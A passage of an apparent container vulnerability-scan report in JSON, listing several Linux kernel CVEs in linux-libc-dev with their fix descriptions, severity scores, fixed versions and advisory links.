"https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-68160" ], "PublishedDate": "2026-08-10T13:20:02.3Z", "LastModifiedDate": "2026-10-19T21:17:56.417Z" }, { "VulnerabilityID": "CVE-2026-68162", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.101-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-68162", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b8d740877e339f809a8f2a726b985d6fdac0df9fc4e56ef7a61918132a51b933", "Title": "kernel: sctp: avoid auth_enable sysctl UAF during netns teardown", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsctp: avoid auth_enable sysctl UAF during netns teardown\n\nproc_sctp_do_auth() updates the SCTP control socket after changing\nnet.sctp.auth_enable. The handler gets the per-net SCTP state from\nctl-\u003edata, so an already opened sysctl file can still target a network\nnamespace while that namespace is being torn down.\n\nSCTP previously registered its per-net sysctls from sctp_defaults_init(),\nwhile the control socket is created later from sctp_ctrlsock_init(). This\nexposed a window during initialization where auth_enable was writable\nbefore net-\u003esctp.ctl_sock existed, and a teardown window where auth_enable\nstayed writable after inet_ctl_sock_destroy() had released the control\nsocket.\n\nMove the per-net SCTP sysctl registration into sctp_ctrlsock_init() after\nsctp_ctl_sock_init() succeeds, and unregister the sysctl table before\ndestroying the control socket in sctp_ctrlsock_exit(). If sysctl\nregistration fails after the control socket was created, destroy the\ncontrol socket in the same init path.\n\nMake sctp_sysctl_net_unregister() tolerate a missing header and clear the\nsaved pointer so init-error and exit paths can safely share the unregister\nhelper.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:95370", "https://access.redhat.com/security/cve/CVE-2026-68162", "https://bugzilla.redhat.com/2507721", "https://bugzilla.redhat.com/2513314", "https://bugzilla.redhat.com/2515351", "https://bugzilla.redhat.com/2515353", "https://bugzilla.redhat.com/2516278", "https://bugzilla.redhat.com/2516412", "https://bugzilla.redhat.com/2516674", "https://bugzilla.redhat.com/2521384", "https://bugzilla.redhat.com/2521419", "https://bugzilla.redhat.com/2524422", "https://bugzilla.redhat.com/2524442", "https://bugzilla.redhat.com/2524458", "https://bugzilla.redhat.com/2524475", "https://bugzilla.redhat.com/2532290", "https://bugzilla.redhat.com/2532407", "https://bugzilla.redhat.com/2552209", "https://bugzilla.redhat.com/show_bug.cgi?id=2507721", "https://bugzilla.redhat.com/show_bug.cgi?id=2513314", "https://bugzilla.redhat.com/show_bug.cgi?id=2515351", "https://bugzilla.redhat.com/show_bug.cgi?id=2515353", "https://bugzilla.redhat.com/show_bug.cgi?id=2516278", "https://bugzilla.redhat.com/show_bug.cgi?id=2516412", "https://bugzilla.redhat.com/show_bug.cgi?id=2516674", "https://bugzilla.redhat.com/show_bug.cgi?id=2521384", "https://bugzilla.redhat.com/show_bug.cgi?id=2521419", "https://bugzilla.redhat.com/show_bug.cgi?id=2524422", "https://bugzilla.redhat.com/show_bug.cgi?id=2524442", "https://bugzilla.redhat.com/show_bug.cgi?id=2524458", "https://bugzilla.redhat.com/show_bug.cgi?id=2524475", "https://bugzilla.redhat.com/show_bug.cgi?id=2532290", "https://bugzilla.redhat.com/show_bug.cgi?id=2532407", "https://bugzilla.redhat.com/show_bug.cgi?id=2552209", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64541", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68162", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68451", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68452", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72080", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72221", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72222", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74586", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74588", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74752", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80553", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80571", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80584", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89479", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89488", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98403", "https://errata.almalinux.org/9/ALSA-2026-95370.html", "https://errata.rockylinux.org/RLSA-2026:95370", "https://git.kernel.org/stable/c/158f3cc332dc53f43ec20060233d7c3cecd6d912", "https://git.kernel.org/stable/c/19573dcddb8819fd68d6cd1f916c1c99c3fa4ff4", "https://git.kernel.org/stable/c/626bda8cfe43dff19a9833ff6ba055a817b5455c", "https://git.kernel.org/stable/c/66700c0719675e0e118ae83b2d7168dacd69dd3d", "https://git.kernel.org/stable/c/a50e73488e0bbdd262b3be3c9a1d8dd078382381", "https://git.kernel.org/stable/c/be6aae9d1b91c603adb35872d37d40e83daf8758", "https://git.kernel.org/stable/c/ceb7190b5c873d4a1267a1600c5aa52c600e929f", "https://git.kernel.org/stable/c/f8d5e7846025f4ab15a461235f8ebae9094a361a", "https://git.kernel.org/stable/c/fd66854a22661929245f3d2b244c432bc8b1a150", "https://linux.oracle.com/cve/CVE-2026-68162.html", "https://linux.oracle.com/errata/ELSA-2026-95370.html", "https://lore.kernel.org/linux-cve-announce/2026081004-CVE-2026-68162-086a@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-68162", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-68162" ], "PublishedDate": "2026-08-10T13:20:02.57Z", "LastModifiedDate": "2026-10-19T21:17:56.77Z" }, { "VulnerabilityID": "CVE-2026-68166", "VendorIDs": [ "DSA-6466-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.105-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-68166", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e4124f222ab6d45501366db52195e4ebad4764ea838af03e106b411cce522d11", "Title": "kernel: Linux kernel: Arbitrary code execution via userfaultfd shadow stack manipulation", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nuserfaultfd: prevent registration of special VMAs\n\nVova Tokarev says:\n\n userfaultfd allows registration on shadow stack VMAs. With userfaultfd\n access, you can register on the shadow stack, discard a page ... and\n inject a page with chosen return addresses via UFFDIO_COPY.\n\nUpdate vma_can_userfault() to reject VM_SHADOW_STACK.\n\nWhile on it, also reject VM_SPECIAL so that if a driver would implement\nvm_uffd_ops, it wouldn't be possible to register special VMAs with\nuserfaultfd.\n\nSince VM_SPECIAL includes VM_DONTEXPAND which is set but hugetlb, exclude\nhugetlb VMAs from the check for VM_SPECIAL.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 4, "oracle-oval": 3, "photon": 2, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:H", "V3Score": 7.3 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:63129", "https://access.redhat.com/security/cve/CVE-2026-68166", "https://bugzilla.redhat.com/2406747", "https://bugzilla.redhat.com/2432366", "https://bugzilla.redhat.com/2482006", "https://bugzilla.redhat.com/2482558", "https://bugzilla.redhat.com/2492447", "https://bugzilla.redhat.com/2502219", "https://bugzilla.redhat.com/2502227", "https://bugzilla.redhat.com/2502235", "https://bugzilla.redhat.com/2502239", "https://bugzilla.redhat.com/2502240", "https://bugzilla.redhat.com/2502248", "https://bugzilla.redhat.com/2502260", "https://bugzilla.redhat.com/2502329", "https://bugzilla.redhat.com/2502363", "https://bugzilla.redhat.com/2502421", "https://bugzilla.redhat.com/2502447", "https://bugzilla.redhat.com/2507046", "https://bugzilla.redhat.com/2507089", "https://bugzilla.redhat.com/2507118", "https://bugzilla.redhat.com/2507119", "https://bugzilla.redhat.com/2507208", "https://bugzilla.redhat.com/2507277", "https://bugzilla.redhat.com/2508363", "https://bugzilla.redhat.com/2513167", "https://bugzilla.redhat.com/2513392", "https://bugzilla.redhat.com/2516248", "https://bugzilla.redhat.com/2516448", "https://bugzilla.redhat.com/show_bug.cgi?id=2406747", "https://bugzilla.redhat.com/show_bug.cgi?id=2432366", "https://bugzilla.redhat.com/show_bug.cgi?id=2482006", "https://bugzilla.redhat.com/show_bug.cgi?id=2482558", "https://bugzilla.redhat.com/show_bug.cgi?id=2492447", "https://bugzilla.redhat.com/show_bug.cgi?id=2502219", "https://bugzilla.redhat.com/show_bug.cgi?id=2502227", "https://bugzilla.redhat.com/show_bug.cgi?id=2502235", "https://bugzilla.redhat.com/show_bug.cgi?id=2502239", "https://bugzilla.redhat.com/show_bug.cgi?id=2502240", "https://bugzilla.redhat.com/show_bug.cgi?id=2502248", "https://bugzilla.redhat.com/show_bug.cgi?id=2502260", "https://bugzilla.redhat.com/show_bug.cgi?id=2502329", "https://bugzilla.redhat.com/show_bug.cgi?id=2502363", "https://bugzilla.redhat.com/show_bug.cgi?id=2502421", "https://bugzilla.redhat.com/show_bug.cgi?id=2502447", "https://bugzilla.redhat.com/show_bug.cgi?id=2507046", "https://bugzilla.redhat.com/show_bug.cgi?id=2507089", "https://bugzilla.redhat.com/show_bug.cgi?id=2507118", "https://bugzilla.redhat.com/show_bug.cgi?id=2507119", "https://bugzilla.redhat.com/show_bug.cgi?id=2507208", "https://bugzilla.redhat.com/show_bug.cgi?id=2507277", "https://bugzilla.redhat.com/show_bug.cgi?id=2508363", "https://bugzilla.redhat.com/show_bug.cgi?id=2513167", "https://bugzilla.redhat.com/show_bug.cgi?id=2513392", "https://bugzilla.redhat.com/show_bug.cgi?id=2516248", "https://bugzilla.redhat.com/show_bug.cgi?id=2516448", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40064", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-71147", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45970", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46185", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53073", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53391", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53392", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53397", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53399", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63800", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63808", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63824", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63886", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63887", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64002", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64018", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64268", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64298", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64304", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64387", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64438", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64490", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68145", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68166", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68480", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72069", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72130", "https://errata.almalinux.org/9/ALSA-2026-63129.html", "https://errata.rockylinux.org/RLSA-2026:63129", "https://git.kernel.org/stable/c/0c26202b157f1efc3cd2f26f5c30f59b508a6a5d", "https://git.kernel.org/stable/c/165613191ad9d034bf17c00e3a142f9561597ec5", "https://git.kernel.org/stable/c/3c58f641e813c3c71039f8fd4d4e2a3aab713288", "https://git.kernel.org/stable/c/495a28d5a100be1b232633f4c2dcc42ba10b3796", "https://git.kernel.org/stable/c/d974b4b786214883bd8e56bda10b454c80fd6205", "https://linux.oracle.com/cve/CVE-2026-68166.html", "https://linux.oracle.com/errata/ELSA-2026-63129-0.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-68166", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-68166" ], "PublishedDate": "2026-08-10T13:20:03.11Z", "LastModifiedDate": "2026-11-06T17:19:20.417Z" }, { "VulnerabilityID": "CVE-2026-68200", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.101-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-68200", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:49836294e9359a8f201002da1750f5b2109a29b3ebf0672c71ece6ceb2e90f6e", "Title": "kernel: Linux kernel: ALSA timer use-after-free vulnerability allows privilege escalation", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nALSA: timer: don't re-enter an instance callback that is still running\n\nThe userspace-driven timer (utimer) TRIGGER ioctl calls\nsnd_timer_interrupt() directly with no serialization, so two threads\ntriggering the same utimer can run snd_timer_interrupt() on one\nsnd_timer concurrently.\n\nsnd_timer_process_callbacks() drops timer-\u003elock around each instance\ncallback and marks the in-flight callback with the single\nSNDRV_TIMER_IFLG_CALLBACK bit; snd_timer_close_locked() waits on that\nbit to drain an in-flight callback before freeing the instance. The bit\ncannot represent two concurrent callbacks: when a second interrupt\nre-queues an instance whose callback is still running, both run at once,\nthe first to finish clears the bit, and the close-path drain then frees\nthe instance (and its callback_data) while the other callback is still\nlive - a use-after-free reachable by any user able to open\n/dev/snd/timer, both via a user timer instance and via a sequencer queue\ntimer bound to the utimer.\n\nsnd_timer_interrupt() sets IFLG_CALLBACK before dropping timer-\u003elock, so\na concurrent interrupt already observes it under the lock. Skip\nre-queuing an instance (and its slaves) to the ack/sack list while its\ncallback is in flight; the accumulated pticks are delivered on the next\ntick, so no event is lost.", "Severity": "HIGH", "CweIDs": [ "CWE-362" ], "VendorSeverity": { "alma": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:68570", "https://access.redhat.com/security/cve/CVE-2026-68200", "https://bugzilla.redhat.com/2439924", "https://bugzilla.redhat.com/2461462", "https://bugzilla.redhat.com/2482098", "https://bugzilla.redhat.com/2482127", "https://bugzilla.redhat.com/2482550", "https://bugzilla.redhat.com/2482618", "https://bugzilla.redhat.com/2492436", "https://bugzilla.redhat.com/2492741", "https://bugzilla.redhat.com/2492742", "https://bugzilla.redhat.com/2492750", "https://bugzilla.redhat.com/2492779", "https://bugzilla.redhat.com/2492792", "https://bugzilla.redhat.com/2502295", "https://bugzilla.redhat.com/2502347", "https://bugzilla.redhat.com/2502368", "https://bugzilla.redhat.com/2502412", "https://bugzilla.redhat.com/2502434", "https://bugzilla.redhat.com/2502438", "https://bugzilla.redhat.com/2502575", "https://bugzilla.redhat.com/2502580", "https://bugzilla.redhat.com/2502596", "https://bugzilla.redhat.com/2511448", "https://bugzilla.redhat.com/2513165", "https://bugzilla.redhat.com/2513171", "https://bugzilla.redhat.com/2513271", "https://bugzilla.redhat.com/2513286", "https://bugzilla.redhat.com/2513477", "https://bugzilla.redhat.com/2516490", "https://bugzilla.redhat.com/2516599", "https://bugzilla.redhat.com/2516679", "https://bugzilla.redhat.com/2516684", "https://bugzilla.redhat.com/show_bug.cgi?id=2439924", "https://bugzilla.redhat.com/show_bug.cgi?id=2461462", "https://bugzilla.redhat.com/show_bug.cgi?id=2482098", "https://bugzilla.redhat.com/show_bug.cgi?id=2482127", "https://bugzilla.redhat.com/show_bug.cgi?id=2482550", "https://bugzilla.redhat.com/show_bug.cgi?id=2482618", "https://bugzilla.redhat.com/show_bug.cgi?id=2492436", "https://bugzilla.redhat.com/show_bug.cgi?id=2492741", "https://bugzilla.redhat.com/show_bug.cgi?id=2492742", "https://bugzilla.redhat.com/show_bug.cgi?id=2492750", "https://bugzilla.redhat.com/show_bug.cgi?id=2492779", "https://bugzilla.redhat.com/show_bug.cgi?id=2492792", "https://bugzilla.redhat.com/show_bug.cgi?id=2502295", "https://bugzilla.redhat.com/show_bug.cgi?id=2502347", "https://bugzilla.redhat.com/show_bug.cgi?id=2502368", "https://bugzilla.redhat.com/show_bug.cgi?id=2502412", "https://bugzilla.redhat.com/show_bug.cgi?id=2502434", "https://bugzilla.redhat.com/show_bug.cgi?id=2502438", "https://bugzilla.redhat.com/show_bug.cgi?id=2502575", "https://bugzilla.redhat.com/show_bug.cgi?id=2502580", "https://bugzilla.redhat.com/show_bug.cgi?id=2502596", "https://bugzilla.redhat.com/show_bug.cgi?id=2511448", "https://bugzilla.redhat.com/show_bug.cgi?id=2513165", "https://bugzilla.redhat.com/show_bug.cgi?id=2513171", "https://bugzilla.redhat.com/show_bug.cgi?id=2513271", "https://bugzilla.redhat.com/show_bug.cgi?id=2513286", "https://bugzilla.redhat.com/show_bug.cgi?id=2513477", "https://bugzilla.redhat.com/show_bug.cgi?id=2516490", "https://bugzilla.redhat.com/show_bug.cgi?id=2516599", "https://bugzilla.redhat.com/show_bug.cgi?id=2516679", "https://bugzilla.redhat.com/show_bug.cgi?id=2516684", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23172", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31663", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45910", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46043", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46114", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46133", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52971", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53176", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53192", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53193", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53196", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53239", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63869", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63913", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63917", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63919", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63921", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64029", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64174", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64175", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64176", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64582", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68128", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68159", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68200", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68363", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68426", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72003", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72102", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72243", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72298", "https://errata.almalinux.org/9/ALSA-2026-68570.html", "https://errata.rockylinux.org/RLSA-2026:68570", "https://git.kernel.org/stable/c/1395327a96614885552bae5fbb650e6dd182d49b", "https://git.kernel.org/stable/c/70d28bfcd6224eed75986b3b987b997e59643fa4", "https://git.kernel.org/stable/c/996c24377eea4d4506b7c3ccbbf1e490440b5e0b", "https://git.kernel.org/stable/c/c1078130a4cd7e738f4b73afe99b3e68cbfbf884", "https://linux.oracle.com/cve/CVE-2026-68200.html", "https://linux.oracle.com/errata/ELSA-2026-68570.html", "https://lore.kernel.org/linux-cve-announce/2026081011-CVE-2026-68200-1865@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-68200", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-68200" ], "PublishedDate": "2026-08-10T13:20:07.517Z", "LastModifiedDate": "2026-10-19T21:17:57.787Z" }, { "VulnerabilityID": "CVE-2026-68201", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.101-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-68201", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e77be32911e8a8eb8e9bffa2f196e419889c9762097f6afb4c029bb9b70cd072", "Title": "kernel: ALSA: timer: drain a slave's callback before its master detaches it", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nALSA: timer: drain a slave's callback before its master detaches it\n\nsnd_timer_close_locked() drains the closing instance's own in-flight\ncallback (IFLG_CALLBACK) before freeing it, but not its slaves'. When a\nmaster instance is closed, remove_slave_links() clears each slave's\n-\u003etimer; the slave's own close then reads timer == NULL and takes the\nbranch that skips the drain entirely (snd_timer_stop_slave() also no-ops\non a NULL timer). So a slave whose callback is still running when the\nmaster is closed is freed underneath the live callback, leading to\nuse-after-free.\n\nDrain the slaves too before remove_slave_links() severs them.\nsnd_timer_stop() has already taken this instance off the active list, so\nno new slave callback can be queued. Take the slaves off the ack list so\na pending one can't fire either, then wait for any that is already in\nflight.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:H", "V3Score": 7.3 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:71232", "https://access.redhat.com/security/cve/CVE-2026-68201", "https://bugzilla.redhat.com/2432674", "https://bugzilla.redhat.com/2492381", "https://bugzilla.redhat.com/2502243", "https://bugzilla.redhat.com/2502251", "https://bugzilla.redhat.com/2502498", "https://bugzilla.redhat.com/2507134", "https://bugzilla.redhat.com/2507399", "https://bugzilla.redhat.com/2510890", "https://bugzilla.redhat.com/2513481", "https://bugzilla.redhat.com/2516527", "https://bugzilla.redhat.com/2528676", "https://bugzilla.redhat.com/2532176", "https://bugzilla.redhat.com/2535391", "https://bugzilla.redhat.com/show_bug.cgi?id=2432674", "https://bugzilla.redhat.com/show_bug.cgi?id=2492381", "https://bugzilla.redhat.com/show_bug.cgi?id=2502243", "https://bugzilla.redhat.com/show_bug.cgi?id=2502251", "https://bugzilla.redhat.com/show_bug.cgi?id=2502498", "https://bugzilla.redhat.com/show_bug.cgi?id=2507134", "https://bugzilla.redhat.com/show_bug.cgi?id=2507399", "https://bugzilla.redhat.com/show_bug.cgi?id=2510890", "https://bugzilla.redhat.com/show_bug.cgi?id=2513481", "https://bugzilla.redhat.com/show_bug.cgi?id=2516527", "https://bugzilla.redhat.com/show_bug.cgi?id=2517043", "https://bugzilla.redhat.com/show_bug.cgi?id=2528676", "https://bugzilla.redhat.com/show_bug.cgi?id=2532176", "https://bugzilla.redhat.com/show_bug.cgi?id=2535391", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23007", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53005", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63802", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63831", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64053", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64383", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64534", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64564", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68201", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72261", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74469", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80844", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-81000", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89846", "https://errata.almalinux.org/9/ALSA-2026-71232.html", "https://errata.rockylinux.org/RLSA-2026:71232", "https://git.kernel.org/stable/c/2b298997786876b225cff2446e11a0fa6f602f6d", "https://git.kernel.org/stable/c/426c0ff1c433d6030610ad4f9375746dfe931caa", "https://git.kernel.org/stable/c/bdefe1346a8e6b8dc8593406dc2617e985fcbcab", "https://git.kernel.org/stable/c/cd461bcfcdf8d6b6b5365941c1d3859f8bc77aa0", "https://linux.oracle.com/cve/CVE-2026-68201.html", "https://linux.oracle.com/errata/ELSA-2026-71233.html", "https://lore.kernel.org/linux-cve-announce/2026081011-CVE-2026-68201-df47@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-68201", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", 